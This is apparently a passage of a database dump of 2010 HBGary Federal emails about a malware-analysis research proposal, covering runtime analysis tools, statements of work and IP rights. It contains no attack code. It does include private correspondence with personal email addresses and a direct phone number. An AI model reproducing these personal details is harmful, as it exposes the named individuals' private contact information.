– EOP explore full execution space function extraction methods&nbsp;Year 3 Research full execution space exploration&nbsp;Year 4 Begin automation of full execution space function extractionProvide&nbsp;research support to GDAIS and other team members in correlation techniques for signatures based on, but not limited to, malware artifacts, function extraction, data flow maps, and function maps. &nbsp;Provide 400 man hours a year support to GDAIS on this task as neededProvide research support to GDAIS and other team members in malware trigger discovery to determine runtime requirements to automate the execution of malware.Year 1 Provide 400 man hours a year support on this task to GDAIS and other teammates (UCB)Year 2 (months 0-6) develop automation of executionProvide sample or generated DNA sequences for integration into the correlation database as needed for visualization and POC demonstration.All years, last period (months 9-12)&nbsp; Provide sample or generated correlation information for project mock up or demo.Provide research support to GDAIS and other team members in the creation of a unified malware genome for use in malware correlation.&nbsp;All years, Provide 400 hours per year for research support&nbsp;Provide research and development of toolmarks and latent artifacts within executables that can reveal information about the environment when developed and compiled.&nbsp;Year 1 Month 0-6 provide automation for extracting trivial artifacts using known methods for input into correlation dataset&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13360,'aaron_hbgary_com/13360.html'),(3649,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001844.M37301P3547Q3648.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: More tech content from Martin on runtime analysis','ok so correct me if I am wrong but we bring the best of both worlds through recon and responder. &nbsp;We do dynamic analysis of malware behaviors (recon) as well as full memory analysis which provides the instructions as they are executed in memory. &nbsp;So its not just dynamic analysis...right?What does recon monitor when it runs, memory? &nbsp;How does it record, what does it record? &nbsp;Every instruction, execution of the binary, but from where?AaronOn Mar 6, 2010, at 12:08 PM, Bob Slapnik wrote:DATA HARVESTED AT RUNTIME&nbsp;We need to make a very strong case that runtime analysis is the way to go.&nbsp; Here is some info to use.&nbsp;When we run code we harvest runtime data.&nbsp; Here is a list of the data elements that are collected:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Instruction that executed·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data used by the instruction·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CPU state with every instruction·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Memory changes – shows up as memory samples in REcon·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;All Windows APIs and arguments which yieldso&nbsp;&nbsp;&nbsp;Registry key changeso&nbsp;&nbsp;&nbsp;Processes launched, killed, etc.o&nbsp;&nbsp;&nbsp;Filesystem activity – read, writes, etc.o&nbsp;&nbsp;&nbsp;Network activityo&nbsp;&nbsp;&nbsp;Other?&nbsp;SANDBOX TECHNOLOGY&nbsp;I think we need to discuss the concept of Sandboxing.&nbsp; The customer may argue that running malware is dangerous.&nbsp; REcon has all the functionality of Flypaper which has the ability to restrict the network activity of running software.&nbsp; It has the added advantage of making running programs “stick” in memory (like a fly on flypaper).&nbsp; A typical use case is a dropper launches one or more processes and the dropper and processes exit memory and are then gone.&nbsp; Flypaper makes it so the modules stuck in memory can be recovered during memory analysis, extracted and analyzed.&nbsp; For more info on Flypaper seehttps://www.hbgary.com/products-services/flypaper/&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10163,'aaron_hbgary_com/10163.html'),(3650,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001844.M451889P3547Q3650.eml','\"Ted Vera\" <ted@hbgary.com>','SOWs','Ted,\r\n\r\nHere is the first one, pikewerks.  Take a look, see if it covers everything.\r\n\r\nI am thinking we send these to all the teammates and ask them to submit a Cost, schedule, milestones break down for the 4 years along with performers, etc.\r\n\r\nThoughts? I will finish the rest shortly.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1773,'aaron_hbgary_com/1773.html'),(3651,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001845.M478137P3547Q3651.eml','\"Ted Vera\" <ted@hbgary.com>','Attachment','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13687,'aaron_hbgary_com/13687.html'),(3652,'2010-03-07','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001845.M821446P3547Q3652.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Great Reference to Responder','Hi Aaron, I didn\'t see a link. Was it the Hogfly review that came out this week? Best, K--- On Sat, 3/6/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Great Reference to ResponderTo: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: Saturday, March 6, 2010, 9:15 PM\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n      ',1231,'aaron_hbgary_com/1231.html'),(3653,'2010-03-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001846.M266247P3547Q3654.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Great Reference to Responder','Aaron,\r\n\r\nYour email had no link or attachment.\r\n\r\nBob \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Sunday, March 07, 2010 12:15 AM\r\nTo: Greg Hoglund; Penny Leavy; Karen Burke\r\nCc: Ted Vera; Rich Cummings; Bob Slapnik\r\nSubject: Great Reference to Responder\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/06/10\r\n02:39:00\r\n\r\n',8399,'aaron_hbgary_com/8399.html'),(3654,'2010-03-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001846.M460172P3547Q3655.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Great Reference to Responder','Was there a link?\r\n\r\n\r\n\r\nOn Mar 6, 2010, at 10:15 PM, Aaron Barr  wrote:\r\n\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',9045,'aaron_hbgary_com/9045.html'),(3655,'2010-03-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001846.M61858P3547Q3653.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: More tech content from Martin on runtime analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere is my best shot&#8230;&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\nBroadly speaking there are 3 ways to approach malware r/e.\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPure static analysis.&nbsp; Get the packed or obfuscated\r\nobject.&nbsp; Most old school REs have a kitchen sink of unpackers, etc.&nbsp;\r\nIf one doesn&#8217;t work they grab the one that is closest, modify its code so\r\nit works.&nbsp; This can be fast or slow depending the skill of the RE and how\r\nhard the job is.&nbsp; Then he gets to the underlying code.&nbsp; He used IDA\r\nPro to disassemble and study the assembly code.&nbsp; IDA and his custom IDA\r\nplug-ins have some automation, but this is mostly a guy staring at assembly\r\ncode trying to figure out what it does.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDynamic analysis\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Old\r\nschool.&nbsp; Use a debugger like OllyDbg or SoftICE (not supported any\r\nmore).&nbsp; Run the code in a VM or a sacrificial machine and watch with his\r\neyeballs what it does.&nbsp; As he sees what it does he writes notes in a\r\nnotebook.&nbsp; Very manual.&nbsp;&nbsp; Still staring at assembly code.&nbsp;\r\nBut he has the added capability of being able to watch how code behaves, which\r\ncode branches, how data moves and changes within the s/w, etc.&nbsp; I&#8217;ve\r\nheard that OllyDbg might have runtrace feature but I would bet it is limited to\r\nharvesting assembly instructions only.\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; REcon\r\nis new school. &nbsp;Old school requires the user to go click, click, click to\r\nsingle step the code, watch what happens, write it down, go back to my notes to\r\nfigure out what is happening.&nbsp; REcon is fully automated with no user\r\ninteraction.&nbsp; Run the malware.&nbsp; Harvest all behaviors into a journal\r\nfile.&nbsp; Today Responder grabs the journal file and does some things to\r\ndisplay the data in various ways.&nbsp; My opinion is that what Responder does\r\nwith the data is rudimentary.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHybrid of dynamic and static analysis.&nbsp; Think Responder and\r\nDDNA.&nbsp; The Windows system is running &#8211; this is dynamic.&nbsp; The\r\nrunning system has many executables that interact with each other and has\r\nactive data being used by the programs.&nbsp; Imaging memory freezes this\r\ndynamic system at a point in time&#8230;&#8230;&#8230;.&nbsp; From this point\r\nonward it is static analysis of dynamic data.&nbsp; Responder reconstructs the\r\nimage to show all digital objects residing in memory along with data used by\r\nthose programs.&nbsp; Binaries are extracted from memory.&nbsp; DDNA does\r\nautomated RE of those binaries.&nbsp; The analyst uses the canvas and code view\r\nto do static analysis.\r\n\r\n&nbsp;\r\n\r\nWhat I think is really cool (and we haven&#8217;t really made\r\nthis advantage obvious to our customers yet) is that Responder allows for the dynamic\r\ndata from REcon (#2a) to be superimposed on the memory image and binary data (#3).&nbsp;\r\nHow it works&#8230;&#8230; Put the malware inside REcon (which lives on top of\r\nVMware).&nbsp; Run REcon to harvest runtime data.&nbsp; When done with that,\r\nsnapshot the VM to create a .vmem file. Import both the REcon journal file and\r\nthe .vmem memory image into Responder for analysis.&nbsp; Voila!\r\n\r\n&nbsp;\r\n\r\nIt would be better for Martin to describe REcon&#8217;s inner\r\nworkings.&nbsp; Here is my take on it&#8230;&#8230; The CPU can do one thing at\r\na time.&nbsp; It executes one instruction at a time, one API at a time, the API\r\nhas arguments, memory that changed, etc.&nbsp; Each time the CPU does something\r\nthat gets recorded.&nbsp; Surely there is more that Martin can elaborate on.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Sunday, March 07, 2010 12:29 AM\r\nTo: Bob Slapnik\r\nSubject: Re: More tech content from Martin on runtime analysis\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok so correct me if I am wrong but we bring the best of both\r\nworlds through recon and responder. &nbsp;We do dynamic analysis of malware\r\nbehaviors (recon) as well as full memory analysis which provides the\r\ninstructions as they are executed in memory. &nbsp;So its not just dynamic\r\nanalysis...right?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat does recon monitor when it runs, memory? &nbsp;How does\r\nit record, what does it record? &nbsp;Every instruction, execution of the\r\nbinary, but from where?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 6, 2010, at 12:08 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDATA\r\nHARVESTED AT RUNTIME\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nneed to make a very strong case that runtime analysis is the way to go.&nbsp; Here\r\nis some info to use.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nwe run code we harvest runtime data.&nbsp; Here is a list of the data elements\r\nthat are collected:\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Instruction that executed\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data used by the instruction\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CPU state with every instruction\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Memory changes &#8211; shows up as memory\r\nsamples in REcon\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;All Windows APIs and arguments which yields\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Registry key changes\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Processes launched, killed, etc.\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Filesystem activity &#8211; read, writes,\r\netc.\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Network activity\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Other?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSANDBOX\r\nTECHNOLOGY\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink we need to discuss the concept of Sandboxing.&nbsp; The customer may\r\nargue that running malware is dangerous.&nbsp; REcon has all the functionality\r\nof Flypaper which has the ability to restrict the network activity of running\r\nsoftware.&nbsp; It has the added advantage of making running programs\r\n&#8220;stick&#8221; in memory (like a fly on flypaper).&nbsp; A typical use\r\ncase is a dropper launches one or more processes and the dropper and processes\r\nexit memory and are then gone.&nbsp; Flypaper makes it so the modules stuck in\r\nmemory can be recovered during memory analysis, extracted and analyzed.&nbsp;\r\nFor more info on Flypaper seehttps://www.hbgary.com/products-services/flypaper/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/06/10\r\n02:39:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11166,'aaron_hbgary_com/11166.html'),(3656,'2010-03-07','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297001846.M723145P3547Q3656.eml','aaron@hbgary.com','RE: Introductions','\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n&nbsp;\r\nI wanted to follow up with you from the other week regarding the technical interview.&nbsp; This week is shaping up to be fairly busy but I\'m sure I can carve out some time to speak with your RE expert.\r\n&nbsp;\r\nThanks,\r\nChris&nbsp;\r\n\r\nFrom: aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500Subject: Re: IntroductionsTo: chris_hummel@hotmail.com\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nAaron,&nbsp;I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.&nbsp; I actually ask this of everyone for the first meeting so we can both guage the level of interest.&nbsp; Sorry for any confusion.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To: chris_hummel@hotmail.comWhere do you want to meet? &nbsp;Is the Tysons area ok? &nbsp;Is 3pm good? \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I\'ll block off some time in the afternoon as the morning has already filled up.&nbsp;Thanks,Chris\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To:&nbsp;chris_hummel@hotmail.comok lets shoot for Friday next week. \r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection.&nbsp;Sign up now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service. Get it now.  		 	   		  Hotmail: Free, trusted and rich email service. Get it now.\r\n',8040,'aaron_hbgary_com/8040.html'),(3657,'2010-03-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001848.M281922P3547Q3657.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','HBGary past performance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI put our past gov&#8217;t work onto the template provided\r\nby GD.&nbsp; Sections highlighted in yellow need further attention.&nbsp; I did\r\nnot write anything for &#8220;Relevance to DCG&#8221; as I figured you would\r\nwant to craft that to closely fit what is being proposed.\r\n\r\n&nbsp;\r\n\r\nThe second doc is past performance where HBGary was a sub\r\nand descriptions of HBGary commercial software products.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1207,'aaron_hbgary_com/1207.html'),(3658,'2010-03-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001848.M556406P3547Q3658.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Next on my plate is IP and data rights','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI am waiting for our patent attorney to give me patent\r\ninfo.&nbsp; He said I would have it Monday.\r\n\r\n&nbsp;\r\n\r\nI am OK with us delivering data with unlimited rights, but\r\nthere is at least one case where that isn&#8217;t going to fly &#8211; Digital DNA\r\nSequencing.&nbsp; I have not yet seen the patent wording, but I believe the\r\npatent is the idea of representing a series of binary behavioral traits as a\r\nsequence of hexadecimal bytes.&nbsp; It is likely that HBGary will be\r\ndelivering new traits in this patented format which is also the format used\r\nwithin our commercial product.&nbsp; In other words, DDNA Sequencing\r\nwill be embedded in the new traits we deliver.\r\n\r\n&nbsp;\r\n\r\nMY PLAN &#8211; Read the patent to verify what it says.&nbsp;\r\nHave the attorney draft the sentences that describe how certain data (e.g., new\r\ntraits) will have a commercial product embedded in it (e.g., DDNA Sequencing).&nbsp;\r\nResult:&nbsp; The government gets the trait data, but they don&#8217;t get\r\nunlimited rights to the method used to describe that data.\r\n\r\n&nbsp;\r\n\r\nFrom the BAA \r\n\r\n&nbsp;7.1.2 Commercial Items (Technical Data and Computer\r\nSoftware)\r\n\r\nProposers\r\nresponding to this BAA requesting a procurement contract to be issued under the\r\nFAR/DFARS, shall identify all commercial technical data, and commercial\r\ncomputer software that may be embedded in any noncommercial deliverables\r\n\r\n&nbsp;\r\n\r\nAre there any other IP hot buttons like this?\r\n\r\n&nbsp;\r\n\r\nSomewhere in the proposal (probably not the IP section) you\r\nneed to list the commercial products being used in the work &#8211; Windows, VMware,\r\nIDA Pro, OllyDbg, Digital DNA, Responder Pro, REcon, FastDump Pro, developers\r\ntools, etc., etc.&nbsp; We state we will use these tools at no expense to the\r\nGovernment.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2115,'aaron_hbgary_com/2115.html'),(3659,'2010-03-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001848.M736911P3547Q3659.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','What do you need me to write next besides IP?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nWhat do you need from me?\r\n\r\n&nbsp;\r\n\r\nMaybe I should go onto google docs and start reading what\r\nhas already been written and be another set of eyes?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15411,'aaron_hbgary_com/15411.html'),(3660,'2010-03-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001850.M646218P3547Q3660.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','annotated biblio','This is what I have so far.  I put the reference from Doug in just for\r\nlaughs.  I saved this in the google docs cyber genome folder.\r\n\r\nI need to go pick up dog poop now.  I\'d rather be working on the\r\nproposal, lol.\r\n\r\nTed\r\n\r\n',8481,'aaron_hbgary_com/8481.html'),(3661,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001851.M25264P3547Q3661.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: What do you need me to write next besides IP?','Good plan.  Add content where appropriate.  Look through all the\r\nsections if you can.  I have been lots of information in lots of\r\ndifferent forms and hard to keep it straight.\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 7, 2010, at 1:15 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron and Ted,\r\n>\r\n>\r\n>\r\n> What do you need from me?\r\n>\r\n>\r\n>\r\n> Maybe I should go onto google docs and start reading what has\r\n> already been written and be another set of eyes?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',5086,'aaron_hbgary_com/5086.html'),(3662,'2010-03-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001851.M262413P3547Q3662.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Not sure how to comment on docs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nThe Summary of Proposals doc cites that Avert Labs says\r\nthere 6k new malware per day in Aug 2009.&nbsp; Other sources have much bigger\r\nnumbers.\r\n\r\n&nbsp;\r\n\r\nPanda Security says that in 2008 there were 35k per\r\nday,&nbsp; 22k are new infections\r\n\r\nhttp://kingofgng.com/eng/2009/01/12/22000-new-malware-samples-per-day-a-network-worm-breakout-and-the-sandbox-enabled-antivirus/\r\n\r\n&nbsp;\r\n\r\nThis site says 50k per day\r\n\r\nhttp://www.eweek.com/c/a/Security/How-Do-They-Make-All-That-Malware/\r\n\r\n&nbsp;\r\n\r\nHBGary&#8217;s licensed feed gets 5k per day &#8211; no way\r\nwe are getting 100% of new malware.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5341,'aaron_hbgary_com/5341.html'),(3663,'2010-03-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001851.M501039P3547Q3663.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Not sure how to comment on docs','Comment in the doc, cite your spice and who it came from.From my iPhoneOn Mar 7, 2010, at 5:18 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nThe Summary of Proposals doc cites that Avert Labs says\r\nthere 6k new malware per day in Aug 2009.  Other sources have much bigger\r\nnumbers.\r\n\r\n \r\n\r\nPanda Security says that in 2008 there were 35k per\r\nday,  22k are new infections\r\n\r\nhttp://kingofgng.com/eng/2009/01/12/22000-new-malware-samples-per-day-a-network-worm-breakout-and-the-sandbox-enabled-antivirus/\r\n\r\n\r\n \r\n\r\nThis site says 50k per day\r\n\r\nhttp://www.eweek.com/c/a/Security/How-Do-They-Make-All-That-Malware/\r\n\r\n\r\n \r\n\r\nHBGary’s licensed feed gets 5k per day – no way\r\nwe are getting 100% of new malware.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5230,'aaron_hbgary_com/5230.html'),(3664,'2010-03-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001851.M730262P3547Q3664.eml','all@hbgary.com','New book on corporate espionage','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nNew book out on corporate espionage.\r\n\r\nhttp://www.amazon.com/Broker-Trader-Lawyer-Spy-Corporate/dp/0061697206/ref=sr_1_2?ie=UTF8&amp;s=books&amp;qid=1268001002&amp;sr=1-2\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15582,'aaron_hbgary_com/15582.html'),(3665,'2010-03-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001852.M856019P3547Q3665.eml','\"Aaron Barr\" <aaron@hbgary.com>','Updated Biblio','Added the IEEE citations.\r\n\r\nTed\r\n\r\n',1754,'aaron_hbgary_com/1754.html'),(3666,'2010-03-08','ted@hbgary.com','/aaron@hbgary.com/new/1297001853.M257813P3547Q3666.eml','aaron@hbgary.com','HBGary Annotated Biblio','\r\n\r\nI\'ve shared HBGary Annotated Biblio\r\nMessage from ted@hbgary.com:\r\nUpdated with IEEE citations.\r\nClick to open:\r\nHBGary Annotated Biblio\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',4057,'aaron_hbgary_com/4057.html'),(3667,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001853.M451147P3547Q3667.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','DDNA','Bob,\r\n\r\nI am pretty sure that Greg had told us a little while back that the ability to write traits would be built into responder and we had also talked about the ability for the government to write their own traits, so it doesn\'t seem to me that this is part of the \"crown jewels\".  I have contended for a while that we would strictly protect the algorithms which I see more as the \"crown jewel\" rather than the language that I was assuming we were going to give to people anyway.  I need clarification on this please.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',16023,'aaron_hbgary_com/16023.html'),(3668,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001853.M628612P3547Q3668.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,','IP','Some thoughts for IP and execution of the contract.\r\n\r\nHBGary Federal and HBGary will be the only companies doing windows based memory analysis.\r\n\r\nOn Traits.  I was under the understanding that the trait database and code would be made available to the government on contract to develop their own classified traits libraries.  I also thought I remember someone saying that at some point the ability to write your own traits would be in the product.\r\n\r\nOn the detection algorithm.  There is no reason this needs to be used other than as a licensed product under the BAA.\r\n\r\nResponder.  I see no reason this needs to be used other than as a licensed product under the BAA.\r\n\r\nREcon.  This might be 